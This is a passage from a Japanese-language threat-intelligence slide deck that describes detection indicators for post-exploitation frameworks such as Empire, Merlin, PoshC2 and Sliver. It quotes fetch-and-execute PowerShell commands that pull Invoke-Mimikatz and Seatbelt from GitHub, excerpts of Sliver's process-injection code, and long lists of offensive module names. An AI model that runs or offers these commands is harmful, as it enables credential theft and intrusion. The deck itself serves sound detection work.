WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

127

Threat Intelligence~ Indicators of External Tools Usage ~Copyright Internet Initiative Japan Inc.

128

External tools features• 多くのフレームワークは外部ツールをモジュールとして利用可能– MimikatzやRubeusなどの認証情報窃取ツールが多い• 外部ツールの利用がインジケータとしてイベントログに記録される場合がある• フレームワークごとのインジケータが残るパターン
Pattern

Framework

外部ツールのダウンロード•

Merlin

外部ツールのロード••••

EmpireKoadicMerlinPoshC2

外部ツールのインジェクション

•SliverCopyright Internet Initiative Japan Inc.

129

Merlin downloads external tools from GitHub

Merlin• Merlinは外部ツールをGitHub上からダウンロードする– C&Cサーバから送信しない• 外部ツールはPowerShellでダウンロード– PowerShellツールはダウンロード後にInvoke-Expressionでロード– C#ツールはダウンロード後にcsc.exeでコンパイルして実行• 一部ツールはコマンドラインの設定ミスで実行に失敗– プロセスは生成されるため、イベントログに記録される

Copyright Internet Initiative Japan Inc.

130

Invoke-Mimikatz (PowerShell) download commands Merlin"commands": ["powershell.exe",
GitHubからツールをダウンロードし、"-nop",
Invoke-Expressionで実行"-WindowStyle", "0","IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/BCSECURITY/Empire/master/empire/server/data/module_source/credentials/InvokeMimikatz.ps1');","Invoke-Mimikatz","{{DumpCreds.Flag}}","{{DumpCerts.Flag}}","{{Command}}","{{ComputerName}}"]https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/powershell/powersploit/Invoke -Mimikatz.json#L22-L33
Copyright Internet Initiative Japan Inc.

131

Indicators

Merlin

Item

Value

ParentProcess<Merlin process>CommandLine••

powershell.exe -nop -WindowsStyle 0 “IEX (New-Object
Net.WebClient).DownloadString(‘<GitHub URL>’);” <Tool Function>
powershell.exe -nop -w 0 “IEX (New-Object
Net.WebClient).DownloadString(‘<GitHub URL>’);” <Tool Function>

Copyright Internet Initiative Japan Inc.

132

Seatbelt (C#) download commands

Merlin"commands": ["powershell.exe", "-nop", "-w 1", "¥"","(New-Object
System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/Seatbelt/master/Seatbelt/Program.cs', $env:APPDATA+'¥¥¥¥{{FileName.Value}}.cs');","$f=(Get-Content $env:APPDATA¥¥¥¥{{FileName.Value}}.cs);","$f=($f -replace 'UInt32','uint');","$f=($f -replace 'UInt64','ulong');","Set-Content -Path $env:APPDATA¥¥¥¥{{FileName.Value}}.cs $f;","c:¥¥¥¥Windows¥¥¥¥Microsoft.NET¥¥¥¥Framework64¥¥¥¥{{.NetVersion.Value}}¥¥¥¥csc.exe/unsafe /nowarn:0649 /out:$env:APPDATA¥¥¥¥{{FileName.Value}}.exe$env:APPDATA¥¥¥¥{{FileName.Value}}.cs;","&$env:APPDATA¥¥¥¥{{FileName.Value}}.exe",<…snip…>";del $env:APPDATA¥¥¥¥{{FileName.Value}}.*", "¥""]
https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70 -L134
Copyright Internet Initiative Japan Inc.

133

Seatbelt (C#) download commands

Merlin"commands": ["powershell.exe", "-nop", "-w 1", "¥"","(New-Object
System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/Seatbelt/master/Seatbelt/Program.cs', $env:APPDATA+'¥¥¥¥{{FileName.Value}}.cs');","$f=(Get-Content $env:APPDATA¥¥¥¥{{FileName.Value}}.cs);","$f=($f -replace 'UInt32','uint');","$f=($f -replace 'UInt64','ulong');","Set-Content-Path $env:APPDATA¥¥¥¥{{FileName.Value}}.cs $f;",
GitHubからツールをダウンロードし、%AppData%に保存"c:¥¥¥¥Windows¥¥¥¥Microsoft.NET¥¥¥¥Framework64¥¥¥¥{{.NetVersion.Value}}¥¥¥¥csc.exe/unsafe /nowarn:0649 /out:$env:APPDATA¥¥¥¥{{FileName.Value}}.exe$env:APPDATA¥¥¥¥{{FileName.Value}}.cs;","&$env:APPDATA¥¥¥¥{{FileName.Value}}.exe",<…snip…>";del $env:APPDATA¥¥¥¥{{FileName.Value}}.*", "¥""]
https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70 -L134
Copyright Internet Initiative Japan Inc.

134

Seatbelt (C#) download commands

Merlin"commands": [csc.exeでコンパイル"powershell.exe", "-nop", "-w 1", "¥"","(New-Object
System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/Seatbelt/master/Seatbelt/Program.cs', $env:APPDATA+'¥¥¥¥{{FileName.Value}}.cs');","$f=(Get-Content $env:APPDATA¥¥¥¥{{FileName.Value}}.cs);","$f=($f -replace 'UInt32','uint');","$f=($f -replace 'UInt64','ulong');","Set-Content -Path $env:APPDATA¥¥¥¥{{FileName.Value}}.cs $f;","c:¥¥¥¥Windows¥¥¥¥Microsoft.NET¥¥¥¥Framework64¥¥¥¥{{.NetVersion.Value}}¥¥¥¥csc.exe/unsafe /nowarn:0649 /out:$env:APPDATA¥¥¥¥{{FileName.Value}}.exe$env:APPDATA¥¥¥¥{{FileName.Value}}.cs;","&$env:APPDATA¥¥¥¥{{FileName.Value}}.exe",<…snip…>";del $env:APPDATA¥¥¥¥{{FileName.Value}}.*", "¥""]
https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70 -L134
Copyright Internet Initiative Japan Inc.

135

Seatbelt (C#) download commands

Merlin"commands": ["powershell.exe", "-nop", "-w 1", "¥"","(New-Object
System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/Seatbelt/master/Seatbelt/Program.cs', $env:APPDATA+'¥¥¥¥{{FileName.Value}}.cs');","$f=(Get-Content $env:APPDATA¥¥¥¥{{FileName.Value}}.cs);",
実行後にファイルを削除"$f=($f -replace 'UInt32','uint');","$f=($f -replace 'UInt64','ulong');","Set-Content -Path $env:APPDATA¥¥¥¥{{FileName.Value}}.cs $f;","c:¥¥¥¥Windows¥¥¥¥Microsoft.NET¥¥¥¥Framework64¥¥¥¥{{.NetVersion.Value}}¥¥¥¥csc.exe/unsafe /nowarn:0649 /out:$env:APPDATA¥¥¥¥{{FileName.Value}}.exe$env:APPDATA¥¥¥¥{{FileName.Value}}.cs;","&$env:APPDATA¥¥¥¥{{FileName.Value}}.exe",<…snip…>";del $env:APPDATA¥¥¥¥{{FileName.Value}}.*", "¥""]
https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70 -L134
Copyright Internet Initiative Japan Inc.

136

Indicators

Merlin

Item

Value

ParentProcess<Merlin process>CommandLine

powershell.exe -nop "-w 1" ¥" "(New-Object Net.WebClient).DownloadString('<Github
URL>', $env:APPDATA+’¥¥<Filename>.cs <…snip…>

Copyright Internet Initiative Japan Inc.

137

Load PowerShell tools

EmpireMerlinPoshC2• Empire, Merlin, PoshC2は外部PowerShellツールを利用する– Invoke-Mimikatz, Invoke-Inveigh, etc …

• ロードされたPowerShellツールはイベントログに記録される– PowerShellツールの関数名がインジケータとして利用可能• インジケータとして利用できる関数名リストはAppendixに記載

Copyright Internet Initiative Japan Inc.

138

Indicators

Empire

Item

Value

Script
block

•
•
•

MerlinPoshC2

Invoke-Mimikatz
powercatetc …

Copyright Internet Initiative Japan Inc.

139

Sliver process injection feature

Sliver• SliverはProcess InjectionによりC#ツールを実行– デフォルトはnotepad.exeがインジェクション先
windowsDefaultHostProc = `c:¥windows¥system32¥notepad.exe`
https://github.com/BishopFox/sliver/blob/master/client/command/alias/load.go#L49– オプションで自身のスレッドとして実行も可能• SliverはProcess InjectionでCreateRemoteThreadを利用– CreateRemoteThreadはSysmonで監視可能

Copyright Internet Initiative Japan Inc.

140

C# tool process injection source code

Sliverfunc ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32)(string, error) {<…snip…>
cmd, err := startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)<…snip…>
handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true,
uint32(pid))<…snip…>
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle,&lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)<…snip…>
threadHandle, err := injectTask(lpTargetHandle, data, false)<…snip…>}
https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L293-L344
Copyright Internet Initiative Japan Inc.

141

C# Tool Process Injection source code

Sliverfunc ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32)(string, error) {<…snip…>
cmd, err := startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)<…snip…>
handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true,
uint32(pid))
インジェクション先プロセスを作成し、<…snip…>
C#ツールをインジェクションする
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle,&lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)<…snip…>
threadHandle, err := injectTask(lpTargetHandle, data, false)<…snip…>}
https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L293-L344
Copyright Internet Initiative Japan Inc.

142

Indicators

Sliver

Item

Value

ParentProcess<Sliver process>CommandLine(default) c:¥windows¥system32¥notepad.exe ""Copyright Internet Initiative Japan Inc.

143

Shellcode injection source code

Sliverfunc RemoteTask(processID int, data []byte, rwxPages bool) error {var lpTargetHandle windows.Handle<…snip…>
processHandle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE,
false, uint32(processID))<…snip…>
err = windows.DuplicateHandle(processHandle, currentProcHandle,
currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)<…snip…>_, err = injectTask(lpTargetHandle, data, rwxPages)}

指定されたプロセスへインジェクション

https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L135-L164

Copyright Internet Initiative Japan Inc.

144

InjectTask uses CreateRemoteThread

Sliverfunc injectTask(processHandle windows.Handle, data []byte, rwxPages bool)(windows.Handle, error) {<…snip…>
err = syscalls.WriteProcessMemory(processHandle, remoteAddr, &data[0],uintptr(uint32(dataSize)), &nLength)<…snip…>
threadHandle, err = syscalls.CreateRemoteThread(processHandle, attr, uint32(0),remoteAddr, 0, 0, &lpThreadId)<…snip…>}
https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L66 -L132

Copyright Internet Initiative Japan Inc.

145

Indicators

Sliver

Item

Value

ParentProcess<Sliver process>Process

notepad.exe

Copyright Internet Initiative Japan Inc.

146

Wrap-up

Copyright Internet Initiative Japan Inc.

147

Wrap-up• 発表まとめ– Post-Exploitation FrameworkのMITRE ATT&CK Techniqueを解説– 個々のインジケータの特徴や類似性を解説• 今後の展望– Sigmaなどの検知ルール作成と共有– モジュールとして利用される外部ツールの解析

Copyright Internet Initiative Japan Inc.

148

Appendix

Copyright Internet Initiative Japan Inc.

149

Extra Threat Intelligence~ Indicator of external tools usage ~Copyright Internet Initiative Japan Inc.

150

Merlin PowerShell modules
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Add-RemoteRegBackdoor
Configure-Victim
Create-HotKeyLNK
CredManMain
Dump
Find-ComputersWithRemoteAccessPolicies
Get-ExecutionCommand
Get-GPPPassword
Get-InjectedThread
Get-OSTokenInformation
Get-RemoteCachedCredential
Get-RemoteLocalAccountHash
Get-RemoteMachineAccountHash
Get-ScheduledTaskComHandler
Invoke-ADSBackdoor
Invoke-AllChecks
Invoke-AuditGPOReport

•
•
•
•
•
•
•
•
•
•
•

Invoke-DCOM
Invoke-DCOMObjectScan
Invoke-DCOMPowerPointPivot
Invoke-ExcelMacroPivot
Invoke-ExecutionCommand
Invoke-InternalMonologue
Invoke-Inveigh
Invoke-Mimikatz
Invoke-PowerThIEf
Invoke-RegisterRemoteSchema
Invoke-WMILM

Copyright Internet Initiative Japan Inc.

151

Empire PowerShell modules 1
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Add-KeePassConfigTrigger
Add-NetUser
Disable-SecuritySettings
Exploit-JBoss
Exploit-Jenkins
Fetch-BruteFind-AllVulns
Find-DomainProcess
Find-DomainShareFind-DomainUserLocation
Find-Fruit
Find-InterestingFile
Find-KeePassconfig
Find-LocalAdminAccessFind-ProcessDLLHijack
Find-TrustedDocuments
Get-ADIDNSPermission
Get-ADIDNSZone
Get-AntiVirusProductGet-AppLockerConfig

•
•
•
•
•
•
•
•
•
•
•
•

•

•
•
•

Get-BrowserData•
Get-ChromeDump•
Get-ClipboardContents•
Get-ComputerDetails•
Get-DomainComputer•
Get-DomainController•
Get-DomainDFSshare•
Get-DomainFileServer•
Get-DomainForeignGroupMember •Get-DomainForeignUser•
Get-DomainGPO•
Get•
DomainGPOComputerLocalGroup •Mapping•
GetDomainGPOUserLocalGroupMapping
Get-DomainGroup
Get-DomainGroupMember
Get-DomainManagedSecurityGroup

Get-DomainOU
Get-DomainObjectAcl
Get-DomainPolicyData
Get-DomainSID
Get-DomainSite
Get-DomainSubnet
Get-DomainTrust
Get-DomainTrustMapping
Get-DomainUser
Get-EmailItems
Get-Forest
Get-ForestDomain
Get-FoxDump
Get-GPOComputer

Copyright Internet Initiative Japan Inc.

152

Empire PowerShell modules 2
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Get-GPPPassword
Get-IndexedItem
Get-KeePassconfig
Get-KerberosServiceTicket
Get-KeyStrokes
Get-LAPSPasswords
Get-NetLocalGroup
Get-NetLoggedon
Get-NetRDPSession
Get-NetSession
Get-PathAcl
Get-Proxy
Get-RickAstley
Get-SPN
Get-SQLColumnSampleData
Get-SQLInstanceDomain
Get-SQLQuery
Get-SQLServerInfo
Get-SQLServerLoginDefaultPw

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Get-Schwifty
Get-Screenshot
Get-SecurityPackages
Get-SharpChromium
Get-SiteListPassword
Get-SubFolders
Get-System
Get-SystemDNSServer
Get-UACLevel
Get-USBKeyStrokes
Get-VaultCredential
Get-WMIRegCachedRDP
Connection
Get-WinUpdates
Install-SSP
Install-ServiceBinary
Invoke-ARPScan
Invoke-AllChecks
Invoke-BackdoorLNK

•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-BloodHound
Invoke-Boolang
Invoke-BypassUAC
InvokeBypassUACTokenManipulation
Invoke-ClearScript
Invoke-CredentialInjection
Invoke-CredentialPhisher
Invoke-DCOM
Invoke-DeadUserBackdoor
Invoke-DisableMachineAcctChange
Invoke-DllInjection
Invoke-DomainPasswordSpray
Invoke-DowngradeAccount

Copyright Internet Initiative Japan Inc.

153

Empire PowerShell modules 3
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-DownloadFile
Invoke-DropboxUpload
Invoke-EgressCheck
Invoke-EnvBypass
Invoke-EternalBlue
Invoke-EventLogBackdoor
Invoke-EventVwrBypass
Invoke-ExecuteMSBuild
Invoke-FileFinder
Invoke-FodHelperBypass
Invoke-FodhelperProgIDs
Invoke-HostRecon
Invoke-InternalMonologue
Invoke-Inveigh
Invoke-InveighRelay
Invoke-IronPython
Invoke-IronPython3
Invoke-KeeThief
Invoke-Kerberoast

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-LockWorkStation
Invoke-MS16032
Invoke-MS16135
Invoke-MailSearch
Invoke-Message
Invoke-MetasploitPayload
Invoke-Mimikatz
Invoke-NTLMExtract
Invoke-NetRipper
Invoke-Nightmare
Invoke-NinjaCopy
Invoke-Ntsd
Invoke-PSInject
Invoke-Paranoia
Invoke-Phant0m
Invoke-PhishingLnk
Invoke-PortFwd
Invoke-Portscan
Invoke-PowerDump

•
•
•
•
•
•
•
•
•
•
•
•

Invoke-PrintDeamon
Invoke-PrivescCheck
Invoke-ProcessKiller
Invoke-Prompt
Invoke-PsExec
Invoke-RIDHijacking
Invoke-ReflectivePEInjection
Invoke-ResolverBackdoor
Invoke-ReverseDNSLookup
Invoke-ReverseSocksProxy
Invoke-RunAs
Invoke-SDCLTBypass

Copyright Internet Initiative Japan Inc.

154

Empire PowerShell modules 4
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-SMBAutoBrute
Invoke-SMBExec
Invoke-SMBLogin
Invoke-SMBScanner
Invoke-SQLOSCMD
Invoke-SSHCommand
Invoke-SSharp
Invoke-SauronEye
Invoke-Script
Invoke-SearchGAL
Invoke-SendMail
Invoke-ServiceAbuse
Invoke-SessionGopher
Invoke-SharpChiselClient
Invoke-SharpLoginPrompt
Invoke-SharpSecDump
Invoke-Shellcode
Invoke-ShellcodeMSIL
Invoke-SpawnAs

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-SpoolSample
Invoke-SweetPotato
Invoke-Tater
Invoke-Thunderstruck
Invoke-TokenManipulation
Invoke-VeeamGetCreds
Invoke-Vnc
Invoke-VoiceTroll
Invoke-WScriptBypassUAC
Invoke-Watson
Invoke-WdigestDowngrade
Invoke-WinEnum
Invoke-WireTap
Invoke-Wlrmdr
Invoke-ZeroLogon
Invoke-ZipFolder
Invoke-sid_to_user
Invoke-winPEAS
New-GPOImmediateTask

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

New-HoneyHash
Out-Minidump
Remove-KeePassConfigTrigger
Restart-Computer
Restore-ServiceBinary
Set-DomainObject
Set-MacAttribute
Set-Wallpaper
Start-MonitorTCPConnections
Start-ProcessAsUser
Start-WebcamRecorder
Test-LoginView-EmailWrite-HijackDll
powercat

Copyright Internet Initiative Japan Inc.

155

PoshC2 PowerShell modules 1
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Add-ObjectAcl
ArpScanBrute-Ad
Brute-LocAdmin
Bypass-UAC
ConvertTo-Shellcode
Cred-Popper
Decrypt-RDCMan
Dump-NTDS
Find-AllVulns
Find-DomainShare
Get-ComputerInfo
Get-CreditCardData
Get-DFSshare
Get-DomainComputer
Get-DomainGroupMember
Get-DomainUser
Get-GPPAutologon
Get-GPPPassword

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Get-Hash
Get-IdleTime
Get-InjectedThread
Get-Ipconfig
Get-Keystrokes
Get-LAPSPasswords
Get-LocAdm
Get-MSHotFixes
Get-NetComputer
Get-NetDomain
Get-NetDomainController
Get-NetForest
Get-NetForestDomain
Get-NetGroup
Get-NetGroupMember
Get-NetLocalGroupMember
Get-NetShare
Get-NetUser
Get-Netstat

•
•
•
•
•
•
•
•
•
•
•
•

Get-ObjectAcl
Get-PassNotExp
Get-PassPol
Get-RecentFiles
Get-ScreenshotAllWindows
Get-ServicePerms
Get-UserInfo
Get-WLANPass
Get-WMIRegCachedRDPConnection
Get-WMIRegLastLoggedOn
Get-WMIRegMountedDrive
Inject-Shellcode

Copyright Internet Initiative Japan Inc.

156

PoshC2 PowerShell modules 2
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

InveighInveigh-Relay
Invoke-ACLScanner
Invoke-AllChecks
Invoke-Arpscan
Invoke-BloodHound
Invoke-DCSync
Invoke-DaisyChain
Invoke-EDRChecker
Invoke-EternalBlue
Invoke-EventVwrBypass
Invoke-HostEnum
Invoke-Hostscan
Invoke-Inveigh
Invoke-Kerberoast
Invoke-MS16-032
Invoke-MapDomainTrust
Invoke-Mimikatz
Invoke-PSInject
Invoke-Pbind

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-Pipekat
Invoke-Portscan
Invoke-PowerDump
Invoke-PsExec
Invoke-PsUACme
Invoke-ReflectivePEInjection
Invoke-ReverseDnsLookup
Invoke-Runas
Invoke-SMBClient
Invoke-SMBExec
Invoke-ShareFinder
Invoke-Shellcode
Invoke-Sniffer
Invoke-SqlQuery
Invoke-Tater
Invoke-TheHash
Invoke-TokenManipulation
Invoke-URLCheck
Invoke-UserHunter
Invoke-WMI

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Invoke-WMIChecker
Invoke-WMICommand
Invoke-WMIEvent
Invoke-WScriptBypassUAC
Invoke-WinRMSession
New-JScriptShell
New-ZipFile
Out-Minidump
PortscanRemove-WMIEvent
Resolve-IPAddress
RunAs-NetOnly
Set-LHSTokenPrivilege
Test-ADCredential
cve-2016-9192
invoke-smblogin
powercat

Copyright Internet Initiative Japan Inc.

157

Copyright Internet Initiative Japan Inc.

158